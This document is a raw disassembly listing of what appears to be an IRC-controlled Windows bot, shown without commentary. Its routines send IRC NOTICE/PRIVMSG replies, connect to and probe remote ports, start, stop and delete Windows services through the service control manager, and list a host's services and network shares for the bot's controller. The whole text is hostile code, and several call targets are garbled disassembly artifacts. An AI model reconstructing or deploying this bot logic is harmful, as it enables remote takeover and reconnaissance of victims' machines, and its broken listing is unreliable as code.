arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40D4BB


loc_40D49E:				; CODE XREF: sub_40D48D+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4198F0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4C1
		inc	esi
		cmp	esi, edi
		jl	short loc_40D49E


loc_40D4BB:				; CODE XREF: sub_40D48D+Fj
		xor	al, al


loc_40D4BD:				; CODE XREF: sub_40D48D+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40D4C1:				; CODE XREF: sub_40D48D+27j
		mov	al, 1
		jmp	short loc_40D4BD
sub_40D48D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4C5	proc near		; CODE XREF: sub_402DD7+8Bp
					; sub_402DD7+174p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_417B30
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_40D506
		dec	eax
		jz	short loc_40D4E4
		dec	eax


loc_40D4DE:				; CODE XREF: sub_40D4C5+57j
		xor	eax, eax


loc_40D4E0:				; CODE XREF: sub_40D4C5+3Fj
					; sub_40D4C5+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D4E4:				; CODE XREF: sub_40D4C5+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_43ADD8
		push	eax
		call	sub_4076CA
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_40D4E0
; ---------------------------------------------------------------------------


loc_40D506:				; CODE XREF: sub_40D4C5+13j
		push	6
		push	1
		push	2
		call	dword_43AE18
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_40D4DE
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_43AD98
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		cmp	eax, edi
		jz	loc_40D622
		push	ebx
		push	48h
		push	offset dword_42E6F4
		push	esi
		call	dword_43ADE8
		cmp	eax, edi
		jz	loc_40D622
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADB0
		cmp	eax, edi
		jz	loc_40D622
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_40D622
		push	ebx
		push	18h
		push	offset dword_42E740
		push	[ebp+arg_4]
		call	dword_43ADE8
		cmp	eax, edi
		jz	short loc_40D622
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADB0
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_40D622
		cmp	[ebp+var_200E],	2
		jnz	short loc_40D622
		push	10h
		push	offset loc_42E75C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		test	al, al
		jz	short loc_40D602
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_40D622
; ---------------------------------------------------------------------------


loc_40D602:				; CODE XREF: sub_40D4C5+12Fj
		push	10h
		push	offset dword_42E770
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_40D622:				; CODE XREF: sub_40D4C5+9Bj
					; sub_40D4C5+B2j ...
		push	[ebp+arg_4]
		call	dword_43AE30
		mov	eax, ebx
		pop	ebx
		jmp	loc_40D4E0
sub_40D4C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D633	proc near		; CODE XREF: sub_40ECFA+3Dp
					; sub_40EE72+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_4193FF
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		leave
		retn
sub_40D633	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D679	proc near		; CODE XREF: sub_401000+8Bp
					; sub_40144A+76p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40D694
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40D694:				; CODE XREF: sub_40D679+14j
		push	edi
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_417AB0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_42E784
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40D717
		push	7D0h
		nop
		call	near ptr 2620494h

locret_40D717:				; CODE XREF: sub_40D679+91j
		leave
		retn
sub_40D679	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D719	proc near		; CODE XREF: sub_40EE72:loc_410F84p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40D771
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_42E7A8[esi]
		push	edi
		push	eax
		call	sub_40D793
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40D761
		push	edi
		push	off_42E7A4[esi]
		push	offset dword_42E8D4


loc_40D751:				; CODE XREF: sub_40D719+56j
		mov	esi, offset dword_43F868
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40D78E
; ---------------------------------------------------------------------------


loc_40D761:				; CODE XREF: sub_40D719+2Aj
		push	eax
		call	sub_40D835
		pop	ecx
		push	eax
		push	edi
		push	offset dword_42E89C
		jmp	short loc_40D751
; ---------------------------------------------------------------------------


loc_40D771:				; CODE XREF: sub_40D719+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_43F868
		push	off_42E7A0[eax*4]
		push	offset dword_42E868
		push	esi
		call	sub_4172B0
		add	esp, 0Ch


loc_40D78E:				; CODE XREF: sub_40D719+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40D719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D793	proc near		; CODE XREF: sub_40D719+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_43AD8C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40D7BA
		nop
		call	near ptr 267036Ah
		mov	ebx, eax
		jmp	short loc_40D82F
; ---------------------------------------------------------------------------


loc_40D7BA:				; CODE XREF: sub_40D793+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_43AC80
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40D7DA
		nop
		call	near ptr 267036Ah
		mov	ebx, eax
		jmp	short loc_40D827
; ---------------------------------------------------------------------------


loc_40D7DA:				; CODE XREF: sub_40D793+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40D80D
		cmp	eax, 3
		jz	short loc_40D7FE
		jle	short loc_40D820
		cmp	eax, 6
		jg	short loc_40D820
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_43ACE8
		jmp	short loc_40D814
; ---------------------------------------------------------------------------


loc_40D7FE:				; CODE XREF: sub_40D793+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_43AC88
		jmp	short loc_40D814
; ---------------------------------------------------------------------------


loc_40D80D:				; CODE XREF: sub_40D793+4Dj
		push	esi
		call	dword_43ACEC


loc_40D814:				; CODE XREF: sub_40D793+69j
					; sub_40D793+78j
		test	eax, eax
		jnz	short loc_40D820
		nop
		call	near ptr 267036Ah
		mov	ebx, eax


loc_40D820:				; CODE XREF: sub_40D793+54j
					; sub_40D793+59j ...
		push	esi
		call	dword_43AC9C


loc_40D827:				; CODE XREF: sub_40D793+45j
		push	edi
		call	dword_43AC9C
		pop	esi


loc_40D82F:				; CODE XREF: sub_40D793+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40D793	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D835	proc near		; CODE XREF: sub_40D719+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40D8EA
		jz	loc_40D8E3
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40D8AD
		jz	short loc_40D8A3
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40D899
		dec	ecx
		dec	ecx
		jz	short loc_40D88F
		dec	ecx
		jz	short loc_40D885
		sub	ecx, 51h
		jz	short loc_40D87B
		sub	ecx, 24h
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D87B:				; CODE XREF: sub_40D835+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D885:				; CODE XREF: sub_40D835+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D88F:				; CODE XREF: sub_40D835+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D899:				; CODE XREF: sub_40D835+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D8A3:				; CODE XREF: sub_40D835+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D8AD:				; CODE XREF: sub_40D835+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40D8DC
		dec	ecx
		jz	short loc_40D8D5
		dec	ecx
		jz	short loc_40D8CE
		dec	ecx
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D8CE:				; CODE XREF: sub_40D835+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8D5:				; CODE XREF: sub_40D835+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8DC:				; CODE XREF: sub_40D835+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8E3:				; CODE XREF: sub_40D835+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8EA:				; CODE XREF: sub_40D835+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40D94D
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_40D9A1[ecx]
		jmp	off_40D979[ecx*4] ; switch jump


loc_40D90E:				; DATA XREF: ___:off_40D979o
		push	offset aTheSpecifiedDa ; jumptable 0040D907 case 7
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D915:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDepe ; jumptable 0040D907 case 17
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D91C:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDe_0 ; jumptable 0040D907 case 10
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D923:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasB ; jumptable 0040D907 case 0
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D92A:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheSpecified_0 ; jumptable 0040D907 case 2
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D931:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceCoul ; jumptable 0040D907 case 11
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D938:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHa_0 ; jumptable 0040D907 case 14
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D93F:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheRequested_1 ; jumptable 0040D907 case 3
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D946:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasN ; jumptable 0040D907 case 4
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D94D:				; CODE XREF: sub_40D835+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_40D952:				; CODE XREF: sub_40D835+41j
					; sub_40D835+4Bj ...
		push	offset dword_43F1A8
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_40D973
; ---------------------------------------------------------------------------


loc_40D960:				; CODE XREF: sub_40D835+36j
					; sub_40D835+89j ...
		push	eax		; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_43F1A8
		call	sub_4172B0
		add	esp, 0Ch


loc_40D973:				; CODE XREF: sub_40D835+129j
		mov	eax, offset dword_43F1A8
		retn
sub_40D835	endp

; ---------------------------------------------------------------------------
off_40D979	dd offset loc_40D923	; DATA XREF: sub_40D835+D2r
		dd offset loc_40D92A	; jump table for switch	statement
		dd offset loc_40D93F
		dd offset loc_40D946
		dd offset loc_40D90E
		dd offset loc_40D91C
		dd offset loc_40D931
		dd offset loc_40D938
		dd offset loc_40D915
		dd offset loc_40D960
byte_40D9A1	db	0,     9,     1,     2 ; DATA XREF: sub_40D835+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D9B3	proc near		; CODE XREF: sub_40EE72+2094p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43AD8C
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_40D9EB:				; CODE XREF: sub_40D9B3+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43AD58
		test	eax, eax
		jnz	short loc_40DA25
		call	near ptr 267036Ah
		nop
		cmp	eax, 0EAh
		jnz	loc_40DAD9


loc_40DA25:				; CODE XREF: sub_40D9B3+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40DAD0
		lea	esi, [ebp+var_188]


loc_40DA36:				; CODE XREF: sub_40D9B3+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40DA7F
		dec	eax
		jz	short loc_40DA78
		dec	eax
		jz	short loc_40DA71
		dec	eax
		jz	short loc_40DA6A
		dec	eax
		jz	short loc_40DA63
		dec	eax
		jz	short loc_40DA5C
		dec	eax
		jz	short loc_40DA55
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA55:				; CODE XREF: sub_40D9B3+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA5C:				; CODE XREF: sub_40D9B3+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA63:				; CODE XREF: sub_40D9B3+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA6A:				; CODE XREF: sub_40D9B3+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA71:				; CODE XREF: sub_40D9B3+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA78:				; CODE XREF: sub_40D9B3+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA7F:				; CODE XREF: sub_40D9B3+87j
		push	offset aStopped	; "    Stopped"


loc_40DA84:				; CODE XREF: sub_40D9B3+A0j
					; sub_40D9B3+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40DA36


loc_40DAD0:				; CODE XREF: sub_40D9B3+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40D9EB


loc_40DAD9:				; CODE XREF: sub_40D9B3+6Cj
		push	[ebp+var_C]
		call	dword_43AC9C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAF0	proc near		; CODE XREF: sub_40EE72:loc_410FB4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40DB8A
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40DB19
		dec	eax
		jnz	short loc_40DB6A
		push	edi
		push	0
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		jmp	short loc_40DB66
; ---------------------------------------------------------------------------


loc_40DB19:				; CODE XREF: sub_40DAF0+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40DB58
		push	24h
		push	edi
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DB58
		push	57h
		pop	eax


loc_40DB30:				; CODE XREF: sub_40DAF0+78j
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_43F464
		push	off_42E7A0[eax*4]
		push	offset dword_42EE98
		push	esi
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------


loc_40DB58:				; CODE XREF: sub_40DAF0+2Dj
					; sub_40DAF0+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40DC17
		add	esp, 0Ch


loc_40DB66:				; CODE XREF: sub_40DAF0+27j
		test	eax, eax
		jnz	short loc_40DB30


loc_40DB6A:				; CODE XREF: sub_40DAF0+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_43F464
		push	off_42E7A4[eax*4]
		push	offset dword_42EE6C
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------


loc_40DB8A:				; CODE XREF: sub_40DAF0+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_43F464
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EE38
		push	esi
		call	sub_4172B0
		add	esp, 0Ch


loc_40DBAA:				; CODE XREF: sub_40DAF0+66j
					; sub_40DAF0+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40DAF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBB0	proc near		; CODE XREF: sub_415F88+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40DBBD
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40DBBD:				; CODE XREF: sub_40DBB0+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_424150
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_43F664, 1
		mov	ebp, eax
		jnz	short loc_40DBFA
		or	byte_43F664, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	dword_43F404, eax


loc_40DBFA:				; CODE XREF: sub_40DBB0+32j
		push	esi
		push	esi
		push	ebp
		push	dword_43F404
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_43F404
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40DBB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC17	proc near		; CODE XREF: sub_40DAF0+6Ep
					; sub_4162AC+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_418F50
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40DC82
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_43AC98
		pop	edi
		leave
		retn
sub_40DC17	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC82	proc near		; CODE XREF: sub_40DC17+Ap
					; sub_40DC17+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40DC8F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40DC8F:				; CODE XREF: sub_40DC82+9j
		push	ebx
		push	esi
		mov	esi, dword_424070
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DC82	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCC3	proc near		; CODE XREF: sub_40DAF0+20p
					; sub_415F88+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_43AC70
		pop	esi
		retn
sub_40DCC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCE6	proc near		; CODE XREF: sub_40EE72+2169p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40DC82
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h


loc_40DD1F:				; CODE XREF: sub_40DCE6+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_43ACE4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40DD82
		cmp	ebx, 0EAh
		jz	short loc_40DD82
		push	ebx
		push	ebx
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_42EEF4
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40DDEF
; ---------------------------------------------------------------------------


loc_40DD82:				; CODE XREF: sub_40DCE6+5Dj
					; sub_40DCE6+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40DDE6
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_40DD90:				; CODE XREF: sub_40DCE6+FCj
		push	dword ptr [esi+10h]
		call	dword_43AC8C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40DDA7
		mov	eax, offset aNo	; "No"


loc_40DDA7:				; CODE XREF: sub_40DCE6+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
